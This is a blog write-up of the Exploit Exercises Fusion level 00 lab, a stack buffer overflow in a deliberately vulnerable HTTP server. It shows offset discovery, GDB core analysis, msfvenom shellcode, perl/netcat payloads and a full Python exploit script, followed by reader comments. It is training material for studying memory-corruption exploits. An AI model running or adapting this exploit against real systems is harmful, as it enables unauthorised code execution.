Monday, April 9, 2012

Exploit Exercises - Fusion 00

I was very excited to see the announcement on twitter, that Fusion was going to be released, even if it's just the first 10 levels. I was a bit bummed, as I didn't think I'd get to work on it much, until I complete PWB, but I managed to find a little time to at least start it. I pulled up level 00, which looks to be a basic stack overflow in an http server. The code for the server is below:
#include "../common/common.c" 

int fix_path(char *path)
{
 char resolved[128];

 if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
 strcpy(path, resolved);
}

char *parse_http_request()
{
 char buffer[1024];
 char *path;
 char *q;

 printf("[debug] buffer is at 0x%08x :-)\n", buffer);

 if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host");
 if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");

 path = &buffer[4];
 q = strchr(path, ' ');
 if(! q) errx(0, "No protocol version specified");
 *q++ = 0;
 if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");

 fix_path(path);

 printf("trying to access %s\n", path);

 return path;
}

int main(int argc, char **argv, char **envp)
{
 int fd;
 char *p;

 background_process(NAME, UID, GID); 
 fd = serve_forever(PORT);
 set_io(fd);

 parse_http_request(); 
}
I initially had to read through the code a few times to figure out where the overflow was, to be quite honest. When an HTTP request comes in, it goes to the "parse_http_request" method. From there, it reads the buffer in by using the "read" method. Unfortunately for us, it is being careful to only read in as many bytes as it can put into the buffer. It then does some basic handling to parse out the request. It verifies that it was a "GET" request, and that it was done using HTTP/1.1. After that, it will pass the path of the URI to "fix_path". In this method, there IS an overflow, since the "resolved" variable has 128 bytes to hold data, but there is no checking of size when the "strcpy" is done.

I logged into the machine, and made sure that I could actually get a core dump to be created if the process had an exception. To do this, I changed the core settings for my user:
fusion@fusion:/$ ulimit -c unlimited
Based on my analysis, I knew I would be overflowing the URI path, but based on the note given to me, I would put my shellcode after the "HTTP/1.1" since there was a lot more room. However, I didn't know the EIP offset. So I generated a quick MSF pattern on another machine:
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
I then started to wire up an exploit like so:
fusion@fusion:/$ perl -e 'print "GET /". "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" . "\x99\xf9\xff\xbf" . " HTTP/1.1\n" . "\x90"x100 . "\xcc"x100' | nc localhost 20000
Note that the "\x99\xf9\xff\xbf" value was simply guessed by taking the buffer offset (conveniently given to us at runtime) of "0xbffff8f8", and adding to it enough bytes for the "GET", the MSF buffer, and the "HTTP/1.1". I had played previously by hand, and knew how long the buffer would be, so I didn't need to break this into 2 steps.

After executing the command, I found a handy "core" file in the root directory. So I loaded it up in GDB to get the offset:
fusion@fusion:/$ sudo gdb --core=/core --quiet
[New LWP 2280]
Core was generated by `/opt/fusion/bin/level00'.
Program terminated with signal 11, Segmentation fault.
#0  0x65413665 in ?? ()
Next, I took that EIP value, and ran it through the MSF Pattern Offset calculator:
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_offset.rb 0x65413665
139
This was convenient enough to let me know that the first 139 bytes were junk, but then I had direct access to the EIP. If my estimate for a return address was close enough to hit a nop sled, it would then hit the "\xcc" debug/trace point. I then tested that:
fusion@fusion:/$ perl -e 'print "GET /". "A"x139 . "\x99\xf9\xff\xbf" . " HTTP/1.1\n" . "\x90"x100 . "\xcc"x100' | nc localhost 20000
When I loaded the new core file into GDB, I saw that it indeed hit the debug trap:
fusion@fusion:/$ sudo gdb --core=/core --quiet
[New LWP 2310]
Core was generated by `/opt/fusion/bin/level00'.
Program terminated with signal 5, Trace/breakpoint trap.
#0  0xbffff9fb in ?? ()
(gdb) x/10x $eip
0xbffff9fb:     0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
0xbffffa03:     0xcc    0xcc
The next step was to generate some shellcode. I verified that the process was running as a UID of 20000, and not SUID, so I'm guessing at the end result here. The challenge to me was actually getting the exploit to work, so what the shellcode did was not a big event for me. I decided to just make it write a file to /tmp. This could however be adapted to anything else.

I used Metasploit's MSFVenom tool to generate me some shellcode to "touch /tmp/poo" as a test:
mandreko@li225-134:~$ msfvenom -p linux/x86/exec -f pl CMD="touch /tmp/poo"
my $buf =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" .
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00" .
"\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f" .
"\x6f\x00\x57\x53\x89\xe1\xcd\x80";
I then plugged that shellcode into my exploit:
fusion@fusion:/$ perl -e 'print "GET /". "A"x139 . "\x99\xf9\xff\xbf" . " HTTP/1.1\n" . "\x90"x100 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x6f\x00\x57\x53\x89\xe1\xcd\x80"' | nc localhost 20000
[debug] buffer is at 0xbffff8f8 :-)
Lastly, I verified that it did run the shellcode:
fusion@fusion:/$ ls -al /tmp
total 8
drwxrwxrwt  2 root  root  4096 2012-04-09 21:25 .
drwxr-xr-x 22 root  root  4096 2012-04-09 21:22 ..
-rw-r--r--  1 20000 20000    0 2012-04-09 21:25 poo
There you have it, successful exploitation, using very basic methods. This one felt very much like the first day back from summer break, but I'm guessing it'll get much harder quickly.

UPDATE 5/7/2012: Added python exploit:
# Fusion Level 00
# http://exploit-exercises.com/fusion/level00
# Matt Andreko
# twitter: @mandreko
# contact: matt [at] mattandreko.com

from sys import exit
from struct import pack
from optparse import OptionParser
from socket import *

def exploit(hostname, port):
        junk = "A"*139
        ret = pack("<I", 0xbffff999)
        nops = "\x90"*100
        shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x6f\x00\x57\x53\x89\xe1\xcd\x80"

        s = socket(AF_INET, SOCK_STREAM)
        try:
                print "[*] Connecting to %s on port %s" % (hostname, port)
                s.connect((hostname, port))
        except:
                print "[*] Connection error"
                exit(1)

        print s.recv(1024)
        s.send("GET /" + junk + ret + " HTTP/1.1\n" + nops + shellcode)


if __name__ == "__main__":
    parser = OptionParser("usage: %prog [options]")
    parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1",
     type="string", help="Target to run against")
    parser.add_option("-p", "--port", dest="portnum", default=20000,
     type="int", help="Target port")

    (options, args) = parser.parse_args()

    exploit(options.hostname, options.portnum)

6 comments:

  1. Very nice writeup. I was not aware Fusion was ready yet, that's what I get for not following exploitexercises on twitter :p. Congrats on the OSCP as well! Lovin the blog.

    ReplyDelete
    Replies
    1. I wasn't either! I missed it somehow in my twitter feed, but g0tmi1k hit me up on IRC.

      Unfortunately, my Fusion time will be limited until I actually complete the PWB course, so I can get my OSCP. No fun writing a report :(

      Delete
  2. Nice writeup and nice job with exploit-exercises.
    Only one thing, actually the overflow happens in realpath(path, resolved); instead in strcpy(path, resolved);. strcpy() copies data from resolved to path, and path can handle the 128 bytes from char resolved[128] without problem. But realpath() would expand path into resolved, so if path > resolved, you're overflowing resolved.

    ReplyDelete
  3. Matt, do you have any reading/tutorial recommendations for buffer overflows? I have done very well on the Nebula challenge but am failing on the Protostar and other buffer overflow techniques. If you need help with the Nebula challenge check out my blog http://chrismeyers.org

    ReplyDelete
    Replies
    1. Chris, I highly recommend Hacking The Art of Exploitation. I have the first edition, and it was extremely useful in making things click. I tried reading it years ago, and I just wasn't there, or didn't commit myself to it. Now, it just makes sense.

      http://amzn.to/yJ6vS4

      Delete
  4. Hi matt,

    I've been trying to beat this level myself. Everything went fine until I got to the putting in the shellcode. (touch /tmp/poo)

    Any ideas on how to fix it? The code is here.

    http://pastebin.ubuntu.com/1078811/

    thanks :)

    ReplyDelete

Popular

Recent

Comments